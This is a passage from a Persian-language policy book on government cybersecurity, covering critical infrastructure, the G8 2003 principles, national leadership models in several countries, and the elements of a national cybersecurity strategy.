مشابه سایر زمینه‌های تأثیرگذار بر اینترنت، در مقوله امنیت فناوری اطلاعات نیز سیاستهای دولت نقش مهمی ایفا می‌کند. با اینحال در این مورد باید با احتیاط اظهار نظر کرد، چراکه یک چارچوب عمومی سیاست می‌تواند امنیت را تقویت کند؛ اما اشکالاتی که در اثر مقررات نادرست دولتی بوجود می‌آید بیش از مزایای چنین مقرراتی است. فناوری بسرعت درحال تغییر است و *تهدیدات سایبر*[1] جدید با چنان سرعتی انتشار می‌یابند که مقررات دولتی براحتی می‌توانند تبدیل به موانعی برای ارائه سریع پاسخهای مبتکرانه شوند. بنابراین بهترین راه این است که میان معیارهای تقنینی و غیر تقنینی یک نقطهٔ تعادل پیدا کنیم. برای دستیابی به چنین تعادلی، سیاستگذاران باید به برخی ویژگیهای ذاتی و منحصر به فرد اینترنت توجه کنند. در مقایسه با فناوریهای اطلاعات و ارتباطات پیشین، *فضای سایبر*[2] یک فضای غیر متمرکز است. بخشی از قدرت اینترنت ناشی از این حقیقت است که فاقد دربان می‌باشد و بیشتر کارایی آن در مرزهای شبکه است تا در مرکز آن. سیاستهای امنیت سایبر دولت باید این ویژگیهای اینترنت را مد نظر قرار دهند. در این فصل سلسله گامهایی ذکر شده‌اند که دولتها می‌توانند با استفاده از آنها و مستقل از تصمیمگیریهای فنی، امنیت رایانه‌های خود را ارتقا دهند.[3]

با اینکه این مسئله از کشوری به کشور دیگر متفاوت است، در بسیاری از کشورها یک جزء یا تمامی اجزای شبکه‌های ارتباطی و بسیاری از زیرساختهای مهم و حساس که مبتنی بر سیستمهای رایانه‌ای هستند (بانکداری، حمل و نقل، انرژی، تولید و غیره) تحت تملک و عملکرد بخش خصوصی قرار دارند.[4] بنابراین قسمت اعظم مسئولیت کسب اطمینان از امنیت این سیستمها وابسته به بخش خصوصی است. علیرغم این مسئله، وجود و کارایی سیستمهای اینچنینی برای رفاه ملی ضروری است و معمولاً کاربرد آنها در مواقعی است که از آن استقبال بیشتری می‌شود و لذا دولت به آن توجه زیادی نشان می‌دهد. دولتها معمولاً سیستم رایانه‌ای خاص خود را دارند؛ از جمله رایانه‌هایی که برای امنیت ملی، خدمات اضطراری، بهداشت و سایر عملکردهای ضروری مورد استفاده قرار می‌گیرند و غالباً به شبکه‌های ارتباطی خصوصی وابسته‌اند. در مجموع بسیاری از سیستمهای رایانه‌ای شرکتهای خصوصی و سازمانهای دولتی وابسته به همان نرم‌افزارها و سخت‌افزارهایی هستند که توسط شرکتهای خصوصی طراحی و ساخته شده‌اند و لذا مسئله امنیت در آنها یکی از مسائل قابل توجه است.

بواسطهٔ تمامی این دلایل، مسئولیت امنیت این سیستمها میان دولت و بخش خصوصی تقسیم شده است. بعنوان اولویت اول، دولت مسئولیت "تنظیم امور مربوط به خود" را بر عهده دارد؛ یعنی باید روشهای صحیح امنیتی را برای ارتقای ایمنی در سیستمهای خود بکار گیرد. بعلاوه از لحاظ جهانی مشخص شده که دولت باید برای مجازات و پیشگیری از انجام حملات به سیستمهای بخش خصوصی، مثل سیستمهای دولتی از قدرت قوانین حقوق و جزا کمک بگیرد. فراتر از آن بسیاری از دولتها به این نتیجه رسیده‌اند که برای ارتقای روالهای تأمین امنیت رایانه‌ای در بخش خصوصی باید مسئولیتهای مضاعفی را متحمل شوند. این تلاش برای این است که سیاستهایی توسط دولت اتخاذ شود که باعث نشوند قوانین و برنامه‌های فناوری مجال ظهور ابتکارات و نوآوریها را بگیرند، بلکه درعوض منجر به حداکثر شدن مزایای دخالت دولت در این موارد گردند. در یک فضای همکاری، نقطه تعادلی به قرار زیر یافت می‌شود:

- فشار بازار کار که شرکتهای خصوصی را بسوی امنیت سیستمهای رایانه‌ای ترغیب می‌کند تا سود بیشتری کسب کنند؛

---

1 *Cyber Threats*
2 *Cyberspace*
3 *برای اطلاعات بیشتر به پایگاههای زیر مراجعه کنید:*
http://www.abanet.org/abapubs/books/cybercrime
http://www.isn.ethz.ch/crn

4 *در بعضی کشورها خصوصی‌سازی مسئله‌ای کاملاً جدید است، و این به آن معنا است که کاربران، قانونگذاران، و سیاستگذاران درحالیکه با طیف کاملی از مشکلات سنتی مرتبط با خصوصی‌سازی دست به گریبان هستند، بتازگی با مشکل امنیت نیز دست و پنجه نرم می‌کنند.*

- تحقیقات دولتی و آگاه‌سازی؛
- قوانین جرائم رایانه‌ای که از رایانه‌های شبکه‌های دولتی و خصوصی حمایت می‌کنند؛
- مفاهیم قوانین سنتی که وارد محیط رایانه‌ای شده‌اند؛ و
- قوانین، مقررات و سیاستهای دولتی که خصوصاً بر ارتقای امنیت رایانه‌ای تمرکز یافته‌اند.

مفهوم "سیاست امنیت رایانه‌ای" را می‌توان جزئی از موضوع گسترده‌تری به نام "نقش قانون در گسترش اعتماد اینترنتی" مشاهده نمود. ایجاد یک محیط قابل اطمینان در فضای سایبر نیازمند تطبیق قوانین و سیاستهای دولتی سایر زمینه‌ها بر حوزهٔ امنیت سایبر است. این زمینه‌ها شامل *حمایت از مصرف‌کننده*[5]، *خصوصی ماندن داده‌ها و ارتباطات*[6]، *حقوق مالکیت معنوی*[7] و *چارچوب تجارت الکترونیکی*[8] می‌باشد. در دنیای بدون اینترنت، قانون برای معاملات تجاری و مصرف‌کنندگان حمایتهایی ایجاد می‌کند. قسمت اعظم این قوانین در حوزهٔ فضای سایبر نیز قابل اعمال هستند، اما کشورهایی که بدنبال گسترش فناوری اطلاعات و ارتباطات (ICT) هستند باید این مسئله را بررسی کنند که آیا در قوانین آنها خلأیی وجود دارد که مانع ایجاد اعتماد لازم برای افزایش امنیت فضای سایبر شود یا خیر. در حقیقت کشورهایی که علاقه‌مند به گسترش تجارت الکترونیکی هستند ممکن است دریابند که قوانین آنها در مورد خدمات مالی، مالکیت سایبر و حمایت از مصرف‌کننده از اعتماد یا پشتیبانی لازم برای تعاملات خارج از دنیای اینترنت برخوردار نیست. اصلاح قوانین دنیای سایبر ممکن است بعنوان بخشی از اصلاحات روی قوانین کلی‌تر انجام شود. تمرکز این کتاب روی آندسته از قوانین و سیاستهایی است که مستقیماً به حملات انجام‌شده روی سیستمهای رایانه‌ای اشاره دارند (برخی از آنها در بخش سوم و نیز ضمائم ذکر شده‌اند) و سؤالات در چارچوب عملکرد وسیعتر فناوری اطلاعات و ارتباطات و تجارت الکترونیکی را به منابع دیگر واگذار می‌کند.[9]

این بخش علاوه بر توضیح مقدماتی در مورد کشورهای درحال توسعه، به شرح جزئیات برنامه‌ها و سیاستهایی که مطابق قوانین بسیاری از کشورهای توسعه‌یافته و سازمانهای چندملیتی هستند نیز می‌پردازد. نکات مطرح شده با دقت قابل قبولی به‌روزرسانی شده‌اند. با اینحال تمرکز بر منابع و مدلهای کشورهای توسعه‌یافته و مراکز بین‌المللی نباید سایر کشورهای جهان را از انجام مطالعات بیشتر در این مورد باز دارد. بسیار مهم است که تمامی کشورها توسعه پیدا کنند، پیشرفت نمایند و چارچوب مناسبی برای *امنیت الکترونیکی*[10] خود برگزینند. منابع مالی و انسانی در دسترس، متفاوت هستند و کشورهای درحال توسعه باید در سطح ابتدایی با این موضوع برخورد کنند؛ اما اصول گفته‌شده در اینجا کاربرد جهانی دارد. همیشه باید به یاد داشت که فضای سایبر و امنیت سایبر محدود به مرزهای کشورها نیستند.

مفهوم زیرساختهای حیاتی

در تعدادی از کشورها روالهای واکنشی دولت به مشکلات امنیتی رایانه‌ها *زیرساختهای حیاتی*[11] نام گرفته است. زیرساخت حیاتی، شبکه‌ای از سرمایه‌های فیزیکی و سیستمهایی است که نقش بسزایی در اقتصاد یا رفاه یک کشور دارند. بعنوان مثال شبکهٔ خدمات مالی یک زیرساخت حیاتی است که شامل تمامی بانکهای خصوصی، بانک مرکزی، بازارهای مبادلات کالا، سازمانهای تبادل چک، و دیگر نهادهایی که درگیر خدمات مالی و اعتباری هستند می‌شود. تقریباً در تمامی کشورهای جهان این عملیات با استفاده از رایانه‌ها انجام می‌گیرد. شبکهٔ حمل و نقل نیز زیرساخت حیاتی دیگری است که از جاده‌ها، پلها، کانالها، خطوط راه‌آهن و فرودگاهها تشکیل شده است. زیرساخت حمل و نقل غالباً فیزیکی و مکانیکی است؛ اما عملکرد صحیح چراغهای راهنمایی، باز و بسته کردن پلها، راه‌انداختن قطارها و کنترل ترافیک هوایی همه و همه به عملکرد صحیح رایانه‌ها بستگی دارند.

هیچ تعریف مشخصی برای گروههای زیرساختهای حیاتی وجود ندارد و فهرست زیرساخت حیاتی که توسط سیاستگذاران بکار می‌رود از کشوری به کشور دیگر و از

5 *Consumer Protection*
6 *Data & Communications Privacy*
7 *Intellectual Property Rights*
8 *E-Commerce Framework*
9 *در سیاستگذاری اولیه اینترنت جهانی یک بخش برای تمام طیف مسائل امنیتی که بر توسعهٔ ICT تأثیر می‌گذارند وجود دارد.*

10 *E-Security*
11 *Critical Infrastructures*

زمانی تا زمان دیگر متفاوت است. استراتژی امنیت سایبر دولت ایالات متحدهٔ آمریکا که در فوریه سال ۲۰۰۳ به چاپ رسید، ۱۳ گروه زیرساخت حیاتی را مشخص می‌سازد: ۱) کشاورزی، ۲) تغذیه، ۳) آب، ۴) بهداشت عمومی، ۵) خدمات اضطراری، ۶) دولت، ۷) صنایع دفاعی، ۸) اطلاعات و ارتباطات راه دور، ۹) انرژی، ۱۰) حمل و نقل، ۱۱) بانکداری و امور مالی، ۱۲) مواد شیمیایی و پرخطر، و ۱۳) خدمات پستی و کشتیرانی.[۱۲] در مقایسه با موارد ذکر شده، استراتژی حمایت از زیرساختهای حیاتی کانادا تنها از شش گروه نام می‌برد: ۱) ارتباطات، ۲) دولت، ۳) انرژی و صنایع همگانی، ۴) خدمات (که در کانادا شامل خدمات مالی، توزیع غذا، و بهداشت است)، ۵) امنیت، و ۶) حمل و نقل.[۱۳] تعریف زیرساختهای حیاتی در یک کشور، به اندازهٔ درک مفهوم زیرساختهای حیاتی، حائز اهمیت نیست.[۱۴]

مفهوم زیرساختهای حیاتی به دلایل زیادی حائز اهمیت است. اول، به روشن شدن این مسئله کمک می‌کند که چرا امنیت رایانه‌ای مهم است. اگر سیاستگذاران درک کنند که درصورت خرابی رایانه‌ها پول در بانکها غیر قابل پرداخت می‌شود، قطارها قادر به ترک ایستگاه نمی‌باشند و حتی آب آشامیدنی پمپ نخواهد شد، آنگاه بهتر خواهند توانست آثار ناشی از مشکلات امنیتی را درک کنند. دوم، گروههای زیرساختی به این دلیل اهمیت دارند که به تعریف مسئولیتهای جوامع کمک می‌کنند و جوامعی با علایق مشترک که برای ارتقای امنیت نیاز به همکاری با یکدیگر دارند بوجود می‌آورند. بعنوان مثال صنعتگران صنعت برق و مستشاران دولتی می‌توانند با مشارکت یکدیگر نقش مثبتی در رفع آسیب‌پذیریهای سیستم برق داشته باشند. معیارهای امنیت رایانه‌ای از جمله شناسایی *الگوهای سرآمدی*[۱۵] و اشتراک اطلاعات در مورد آسیب‌پذیریها تا حدودی می‌تواند در محدوده مؤسسات و خطوط تولید صنعتیِ موجود بکار رود. این مؤسسات در بخش خصوصی شامل اتحادیه‌های تجاری، شرکتهای استاندارد و سایر شرکتهای نظارت بر صنایع مختلف می‌باشند. اکثر کشورها در بخش دولتی سیاستهای امنیت سایبر را از طریق وزارتخانه‌ها و سازمانهای نظارتی انجام می‌دهند. (مثل آنهایی که بطور سنتی بانکداری، ارتباطات راه دور و بخشهای انرژی را قانونمند کرده‌اند).

درحال حاضر تعدادی از شرکتهای بزرگ پیشقدم وجود دارند که در مقیاس بزرگتری در این زمینه همکاری می‌کنند. بعنوان مثال گروه G8در ماه می سال ۲۰۰۳ ، ۱۱ اصل را مشخص کرد که برای توسعهٔ استراتژی کاهش مخاطرهٔ زیرساخت اطلاعات حساس مد نظر قرار گیرند.[۱۶] این اصول به شرح زیر هستند:

۱. کشورها باید دارای شبکه‌های هشدار دهندهٔ اضطراری برای تهدیدات و حوادث دنیای سایبر باشند.

۲. کشورها باید سطح آگاهی و دانش خود را ارتقا دهند تا به درک افراد از ماهیت و وسعت زیرساخت اطلاعات حساس خود کمک نمایند و نقش آنها را در راستای حفاظت از این اطلاعات تعریف کنند.

۳. کشورها باید زیرساختهای خود را مورد مطالعه قرار دهند و ارتباطات متقابل میان آنها را مشخص سازند و بدینوسیله حفاظت از این زیرساختها را افزایش دهند.

۴. کشورها باید مشارکت میان بخش عمومی و بخش خصوصی را افزایش داده و اطلاعات زیرساختی مهم خود را مورد تجزیه و تحلیل قرار دهند و آنها را به‌اشتراک بگذارند تا بتوانند از آسیب‌دیدن آنها تا حد امکان جلوگیری نمایند و نسبت به آسیبهای وارده واکنش نشان دهند.

۵. کشورها باید شبکه‌های ارتباطی مخصوصی برای زمان بحران ایجاد و از آن نگهداری کنند، و آنها را مورد

12 *The National Strategy to Secure Cyberspace [U.S.]*
http://www.whitehouse.gov/pcipb
http://www.dhs.gov/interweb/assetlibrary/National_Cyberspace_Strategy.pdf

13 *Office of Critical Infrastructure Protection & Emergency Prepareness [Canada]*
http://www.ocipep.gc.ca/home/index_e.asp

۱۴ *برای دستیابی به جزئیات واکنشهای کشورهای مختلف به مسئله حفاظت از زیرساختهای اساسی می‌توانید به کتاب International Critical Information Infrastructure Protection Handbook مراجعه کنید. این کتاب در مرکز مطالعات امنیت و تحقیقات تداخل مؤسسه فناوری دولت سوئیس به انجام رسیده است:*
http://www.isn.ethz.ch/crn

15 *Best Practices*

۱۶ *برای اطلاعات بیشتر می‌توانید به پایگاه‌های زیر مراجعه کنید:*
http://www.cybersecuritycooperation.org/documents/G8_CIIP_Principles.pdf

ارزیابی قرار دهند تا اطمینان یابند که در موقعیتهای اضطراری همچنان امن و پایدار باقی می‌مانند و می‌توان از آنها استفاده کرد.

۶. کشورها باید اطمینان یابند که سیاستهای *در دسترس بودن داده*[17]، امنیت زیرساختهای اطلاعات حساس را نیز مد نظر قرار داده‌اند.

۷. کشورها باید ردیابی حملات به زیرساختهای مهم اطلاعاتی را تسهیل بخشیده و در زمان مناسب، اطلاعات این ردیابی را برای سایر کشورهای متقاضی منتشر سازند.

۸. کشورها باید در خصوص افزایش قابلیت واکنش، آموزشها و تمریناتی داشته باشند و برنامه‌های خود را برای پیشامدهای احتمالی در زمان وقوع حمله مورد ارزیابی قرار دهند و همگان را نیز تشویق به انجام فعالیتهای مشابه سازند.

۹. کشورها باید اطمینان حاصل کنند که برای مقابله با مشکلات امنیتی، قوانین مناسب و روالهای قابل قبول دارند و این تحقیقات را با سایر کشورها به نحو احسن مطابقت دهند – مانند قوانینی که در *کنوانسیون تخلفات سایبر شورای اروپا*[18] در نوامبر سال ۲۰۰۱ تصویب شد و پرسنل آموزش دیده‌ای را آمادهٔ ارزیابی و ردیابی حملات انجام گرفته به زیرساختهای اطلاعات حساس نمود.

۱۰. کشورها باید در زمان مناسب در همکاریهای بین‌المللی مشارکت کنند تا زیرساختهای مهم اطلاعاتی خود را ایمن سازند، که این امر شامل تأسیس سیستمهای هشداردهندهٔ اضطراری، اشتراک و تحلیل اطلاعات بر اساس آسیب‌پذیریها و رخدادها، و نیز همکاری در مورد حملات انجام شده به زیرساختهای اینچنینی و البته با درنظر گرفتن قوانین محلی می‌باشد.

۱۱. کشورها باید تحقیق و توسعهٔ ملی و بین‌المللی خود را افزایش دهند و بر اساس استانداردهای بین‌المللی، مشوق بکارگیری فناوریهای امنیتی باشند.

خصوصیت منحصر به فرد امنیت رایانه‌ای، ارتباطات داخلی میان بخشها – شامل سخت‌افزارها و نرم‌افزارهای مشابه و همانند – و وابستگی به یک شبکه ارتباطی مشترک است. بنابراین دولتها باید بگونه‌ای سیاستگذاری کنند که ضامن اشتراک اطلاعات مربوط به آسیب‌پذیریها و راه‌حلهای مرتبط با گروههای زیرساختی باشند. می‌توان اینکار را با انتخاب یک مرکز راهبری در دولت برای هماهنگ‌سازی متمرکز برنامه‌ها و سیاستهای امنیت سایبر عملی کرد و ما نیز در ادامهٔ این بخش به بررسی این موضوع خواهیم پرداخت.

17 *Data Availability*
18 *Council of Europe Cybercrime Convention*

فصل دوم
حفاظت از سیستمهای دولتی

تمامی موضوعاتی که در مورد سازمانهای کوچک و بزرگ (SMEها) در بخش سوم مورد مطالعه قرار دادیم در سیستمهای دولتی نیز قابل استفاده هستند. همانطور که شرکتها نیازمند محافظت از خود، تهیه‌کنندگان و مصرف‌کنندگان هستند، دولت نیز باید از سیستمها و شهروندان در برابر تهدیدهای فیزیکی و تهدیدات امنیت سایبر محافظت نماید. دولتهای محلی و ملی نمی‌توانند جلوی بحرانهای شدید مثل وقوع وقفه در عملیات رایانه‌ای، از بین رفتن داده‌های محرمانه و یا سرقت منابع رایانه‌ای را بگیرند. انتشار اخبار رخدادهای امنیتی برای عموم باعث کاهش اعتماد مردم می‌شود و تبدیل به مانعی برای پیشرفت اقدامات *دولت الکترونیکی*[19] می‌گردد. بنابراین همانطور که در فصل قبل اشاره شد، معمولاً اولین مسئولیت دولت در امنیت رایانه همان "تنظیم امور مربوط به خود" آن است؛ بدین معنا که سازمانهای دولتی در تمامی سطوح (ملی، منطقه‌ای و محلی) باید از سیستمهای رایانه‌ای که مورد استفادهٔ آنان قرار دارد حفاظت بعمل آورند. اینکار شامل سیستمهای رایانه‌ای مورد استفادهٔ سازمانهای دولتی و یا وزارتخانه‌ها از جمله نیروهای نظامی و انتظامی، سازمانهای بهداشت و سلامت عمومی، مراکز واکنشهای اضطراری، و همچنین بانکهای مرکزی می‌شود. زیرساختهای مربوط به دولت که وابسته به رایانه است بسته به اینکه چه چیزی دولتی و چه چیزی خصوصی محسوب شود می‌توانند شامل سیستمهای آبی، سدهای هیدروالکتریکی، سیستمهای کنترل ترافیک هوایی و سایر امکانات و تسهیلات باشند.

فرماندهی و سازمان

تمهید ساختار ملی برای مسئله امنیت رایانه‌ای دولت را با چالشهای سازمانی از جمله چگونگی رهبری این ساختار روبرو می‌کند. برای تعیین مسئولیتها در دولت باید ابتدا به این پرسش پاسخ داد که: آیا از نظر اقتصادی، امنیت ملی و یا مقررات حاکم، امنیت رایانه‌ای یک مسئله قابل اهمیت محسوب می‌شود؟

برای پاسخ به این پرسش بد نیست بدانیم:

- کانادا اعتبارات زیادی برای *امنیت سایبر*[20] به وزارت دفاع خود اختصاص داده است.[21]
- در بریتانیا، *ادارهٔ اقامت*[22] که مسئول اجرای قوانین است رهبری را بر عهده دارد.[23]
- ایالات متحده این موضوع را در بخش امنیت داخلی خود قرار داده است، اما تعمداً و بصورت آگاهانه *بخش امنیت رایانه‌ای مؤسسهٔ ملی استاندارد و فناوری*[24] تحت نظارت دپارتمان تجارت را همچنان حفظ کرده است.[25]
- استرالیا یک گروه همکاری امنیت الکترونیکی را برای هماهنگ‌سازی سیاست امنیت سایبر ایجاد نموده –

19 E-Government

20 Cyber-Security

۲۱ دفتر "حفاظت از زیرساختهای حیاتی و آمادگی شرایط اضطراری" کانادا یک سازمان مدنی است که در وزارت دفاع ملی فعالیت می‌کند.

22 Home Office

۲۳ ادارهٔ اقامت انگلستان یک مرکز زیرساختی همکاریهای امنیتی ملی (NISCC) تأسیس کرده که در مسائل حیاتی امنیت زیرساختها کار کند، هشدارها و واکنشهای کمکی لازم را ارائه نماید، و روابط بخش دولتی و خصوصی را برای حفاظت از اطلاعات ساده‌تر نماید. در NISCC یک مرکز فوریتهای امنیت رایانه‌ای به نام UNIRAS وجود دارد. همچنین یک تیم واکنش به حملات الکترونیکی (EARG) در NISCC وجود دارد تا به سازمانهای حاوی زیرساختهای حیاتی و بخشهای دولتی که از حملات آسیب می‌بینند کمک کند. UNIRAS بعد از امکان بوجود آمدن حملات، به تمام سازمانها و شرکتهای انگلستان هشدار می‌دهد. برای اطلاعات بیشتر در مورد راهبرد دولت انگلستان می‌توانید به پایگاه وب NISCC مراجعه کنید:
http://www.niscc.gov.uk

24 Computer Security Division of the National Institute of Standards & Technology

۲۵ از بعضی منظرها ایالات متحده مدل پیچیده‌ای برای همکاریها دارد و ممکن است الگوی خوبی برای کشورهای درحال توسعه نباشد. در ایالات متحده "کمیته امنیت ملی" مسئول امنیت سیستمهای رایانه‌ای در بخش دولتی و بخش خصوصی است، اما مرکز دولتی مدیریت امنیت اطلاعات مسئولیت برنامه‌ریزی برای سیستمهای رایانه‌ای دولت را به دفتر مدیریت و بودجه‌بندی کاخ سفید داده، و شورای امنیت ملی در کاخ سفید نیز مسئولیت همکاری در سیاستگذاری امنیت سایبر را بر عهده دارد.

یک سازمان اجرایی که توسط ادارهٔ ملی برای اقتصاد اطلاعاتی ایجاد شده و تحت نظارت وزارت ارتباطات و فناوری اطلاعات می‌باشد.[۲۶]

- ایتالیا یک کمیتهٔ داخلی وزارتی برای استفادهٔ مسئولانه از اینترنت برقرار ساخته که توسط دپارتمان نوآوری و فناوری در دفتر نخست وزیری مدیریت می‌گردد.
- در سال ۲۰۰۰ نخست وزیر ژاپن گروهی را برای پرداختن به مسئله امنیت فناوری اطلاعات در کابینهٔ دولت ایجاد کرد تا بهتر بتواند معیارها و سیاستهای امنیتی را میان وزیران و سازمانها هماهنگ نماید. این گروه متشکل از متخصصانی بود که عضو سازمانها و وزارتخانه‌های وابسته و نیز بخش خصوصی بودند.[۲۷]

انتخاب محل فرماندهی امنیت الکترونیکی در دولت اهمیت زیادی دارد. بعنوان مثال تصمیم‌گیری در مورد زمان انتشار اطلاعات در مورد آسیب‌پذیریهای امنیت سایبر برای عموم، نیازمند بررسیهای چندجانبه است. قرار دادن این مسئولیت در وزارت دفاع که معمولاً مسئول حفظ اسرار امنیت ملی است ممکن است انتشار اطلاعات را دچار اختلال کند و باعث شود مطالب کافی برای بالا بردن سطح آگاهیهای عمومی منتشر نشود. از آنجا که همکاری بخش دولتی و بخش خصوصی جزء مهمی از آنچه که معتقدیم مؤثرین استراتژی امنیت رایانه‌ای است می‌باشد، شاید بهتر باشد رهبری امنیت سایبر در یک سازمان اقتصادی یا شرکت وابسته به دولت و تحت نظارت بالاترین مقام اجرایی کشور قرار گیرد.

اما مهمتر از اینکه کدام سازمان یا سازمانها باید مسئولیت امنیت رایانه‌ای را بر عهده گیرند این است که باید نوعی "فرماندهی ملی" ایجاد شود تا بتوان کسب اطمینان کرد که امنیت رایانه‌ای از سوی اجزای دولت به اندازهٔ کافی مورد توجه قرار خواهد گرفت. هنگامیکه به وارد کردن مقولهٔ امنیت رایانه‌ای به وزارتخانه‌های موجود می‌اندیشیم، سؤالات سازمانی مهمی پیش می‌آیند که باید برای آنها پاسخ مناسب پیدا کرد. چنانچه تنها اختیار سازمان هدایت‌کنندهٔ امنیت سایبر ، ترغیب مردم و انتشار اطلاعات برای عموم باشد، اختیار عملی آن در حوزهٔ امنیت سایر وزارتخانه‌ها محدود خواهد بود. بنابراین باید روشهایی بوجود آیند که به رهبران امنیت سایبر اجازه دهند امنیت را در سیستمهای موجود سازمانها و وزارتخانه‌ها برقرار سازند. یک روش برای الزام وزارتخانه‌ها به موافقت با استانداردهای امنیت رایانه‌ای می‌تواند این باشد که یک مقام مسئول در ادارهٔ مرکزی امنیت در دولت بتواند سفارشات خرید سازمانهای دولتی که از استانداردهای امنیتی تبعیت نکرده‌اند را رد کند.

ایالات متحده تا حدی این روش را در پیش گرفته و حق تأیید یا رد هزینه‌های سرمایه‌گذاری روی سیستمهای رایانه‌ای – با ملاحظات مختلف از جمله مسائل امنیتی – را بر عهدهٔ دفتر مدیریت و بودجه‌بندی ریاست جمهوری گذاشته است. یک اقدام دیگر می‌تواند الزام وزارتخانه‌ها و سازمانهای دولتی به اجرای ممیزی سالانهٔ امنیت سایبر و گزارش نتایج آن به ادارهٔ امنیت سایبر باشد. هر ساختاری که انتخاب شود، مدیر ارشد آن باید از طرف دفتر ریاست جمهوری یا نخست وزیری تعیین گردد تا تمامی ادارات و سازمانها آنرا جدی بگیرند.

چالش سازمانی دیگر برای دولت، مشکل منابع انسانی است. دولتها برای جذب و نگهداری پرسنل متخصص در زمینهٔ امنیت رایانه‌ای مشکل دارند. یکی از راه‌حلها می‌تواند ارائه بورس تحصیلی برای مطالعات امنیت رایانه‌ای باشد که با استفاده از این بورسها، افراد برای سالهای مشخصی تعهد خدمت به دولت پیدا خواهند کرد. یک راه‌حل کوتاه‌مدت نیز می‌تواند اجرای برنامه‌ای دو مرحله‌ای با مشارکت بخش خصوصی باشد که در آن متخصصان امنیت سایبر برای دولت کار کنند، اما تمام یا بخشی از حقوقشان توسط کارفرمای بخش خصوصیِ آنها پرداخت گردد. مشکل منابع انسانی در امنیت سایبر هم در کشورهای توسعه‌یافته و هم در کشورهای درحال توسعه ممکن است منجر به مواجههٔ دولت با مشکل اساسی دیگری شود، چراکه دولت در مقایسه با بخش خصوصی نمی‌تواند به متخصصین این رشته دستمزد قابل توجهی بپردازد.

---

۲۶ *طبق قوانین استرالیا، سازمانهای اجرایی سازمانهای غیر جزایی هستند و هنگامی که کار سازمان در حیطه کل دولت باشد و کمی از ساختار دولتی مستقل باشند، باید توسط بالاترین مقام دولتی محلی تأسیس شوند. رئیس سازمان اجرایی توسط یک وزیر – در اینجا وزیر ارتباطات و فناوری اطلاعات – منصوب می‌شود و تنها به او پاسخگوست.*

۲۷ *برای اطلاعات بیشتر می‌توانید به پایگاه زیر مراجعه کنید:*
http://www.kantei.go.jp/foreign/it/security/2000/0519taisei.html

تهیهٔ استراتژی ملی امنیت سایبر

روند تهیهٔ استراتژی ملی امنیت سایبر می‌تواند ابزار مؤثری باشد برای تصمیمگیری در مورد اینکه آسیب‌پذیریهای مالی امنیت سایبر ملی چیستند، مسئولیتهای دولت باید چه چیزهایی باشد، و چه سیاستها و اصلاحاتی در قانونگذاری باید دنبال شود. این استراتژیها همچنین می‌توانند ارتباط میان دولت و بخش خصوصی را مشخص سازند. در اینجا عمدتاً روی آندسته از عناصر استراتژیهای امنیت ملی سایبر متمرکز می‌شویم که پشتیبانی از رایانه‌های دولتی را بر عهده دارند. در ادامهٔ بخش چهارم نقش دولت را در ارتقای امنیت سیستمهای بخش خصوصی مورد بحث و بررسی قرار خواهیم داد. مرور استراتژیهای ایالات متحده می‌تواند فواید انجام اینکار را روشن کند:

بطور کلی بخش خصوصی برای واکنش به تهدیدهای درحال رشد فضای سایبر آمادگی لازم را دارد. با این وجود در بعضی موارد خاص، پاسخ دولت مرکزی مناسبتر و قابل قبول‌تر می‌باشد. از نظر داخلی، تداوم اینکار در دولت نیازمند کسب اطمینان از امنیت زیرساختهای سایبر خود دولت و سرمایه‌های مورد نیاز برای پشتیبانی از مأموریتها و خدمات ضروری آن است. از نظر خارجی، در مواردی که هزینه‌های بالای تبادلات و موانع قانونی منجر به وقوع مشکلات بزرگ در همکاریها می‌شوند؛ در مواردی که دولت در غیاب نیروهای بخش خصوصی کار می‌کند؛ و هنگامیکه تجزیه و تحلیل مشکلات به غیرقابل انتشار شدن منابع حیاتی به‌اشتراک گذاشته‌شده می‌انجامد، نقش دولت در امنیت سایبر تضمین‌کننده رفع مشکلات خواهد بود."[۲۸]

تا به امروز ایالات متحده وسیعترین و بیشترین فرآیندهای تهیهٔ استراتژیهای ملی امنیت سایبر را داشته و در عملکرد سایر کشورها و گروههای بین‌المللی نیز مطالب و موضوعات مشابهی به چشم می‌خورد. با اینکه جزئیات این فرآیندها و پیامدهای قوانین و ساختارهای سازمانی از کشوری به کشور دیگر متفاوت هستند، فرآیند تهیهٔ استراتژی امنیت سایبر مشابه روشی است که بسیاری از کشورها برای تهیه استراتژیهای ملی فناوری اطلاعات و ارتباطات از آن استفاده کرده‌اند.[۲۹] در حقیقت امنیت یک جزء استراتژیهای ملی فناوری اطلاعات و ارتباطات است و استراتژی امنیت سایبر می‌تواند از طریق اصول حقوقی و روشهای مشابه مورد استفاده در تهیه پیش‌نویس برنامهٔ ملی توسعه فناوری اطلاعات و ارتباطات بکار گرفته شود. بعنوان مثال ژاپن در مارس ۲۰۰۱ امنیت سایبر را در برنامهٔ اولویت‌بندی سیاستگذاری خود موسوم به e-Japan ترکیب کرده است.[۳۰]

بر اساس تجربیات کشورهایی که برای خود استراتژیهای ملی امنیت سایبر تهیه کرده‌اند، در انجام اینکار برخی عناصر و بخشهای مشترک وجود دارد:

۱. ارزیابی آسیب‌پذیریهای ملی و انتشار گزارشهای عمومی که کلیت موضوع را به تصویر می‌کشند و برای سیاستگذاران و مردم آگاهی بوجود می‌آورند؛

۲. ایجاد ساختار فرماندهی در بخش اجرایی دولت برای نظارت بر تهیه و اجرای سیاستها؛

۳. تهیهٔ یک طرح تفصیلی ملی با تبادل نظر با بخش خصوصی؛

۴. تطبیق مقررات و راهبردهای مرتبط با مسائلی نظیر اشتراک و دسترسی به اطلاعات برای بوجود آوردن پاسخگویی.

فاز اول، ارزیابی مفصل آسیب‌پذیریها و افزایش سطح آگاهی است. بعنوان مثال استرالیا در سال ۱۹۹۷ گزارشی تحت عنوان *زیرساخت اطلاعات ملی استرالیا: تهدیدها و آسیب‌پذیریها*[۳۱] به چاپ رسانده است. این گزارش که توسط هیأت مدیرهٔ شرکت Defense Signals تنظیم شد خواننده را به این نتیجه می‌رساند که جامعهٔ استرالیا نسبت به نقائص نسبتاً زیاد شبکه‌های رایانه‌ای آسیب‌پذیر است و نیز هیچ ساختار رسمی و مشخصی برای هماهنگی و اجرای سیاستهای دولتی جهت حفظ زیرساختهای اساسی وجود

28 The National Strategy to Secure Cyberspace [U.S.] http://www.whitehouse.gov/pcipb http://www.dhs.gov/interweb/assetlibrary/National_Cyberspace_Strategy.pdf

۲۹ *برای اطلاعات بیشتر می‌توانید به پاورقی شماره ۱۷ مراجعه کنید.*

30 http://www.kantei.go.jp/foreign/it/network/priority-all/index.html

31 Australia's National Information Infrastructure: Threats & Vulnerabilities

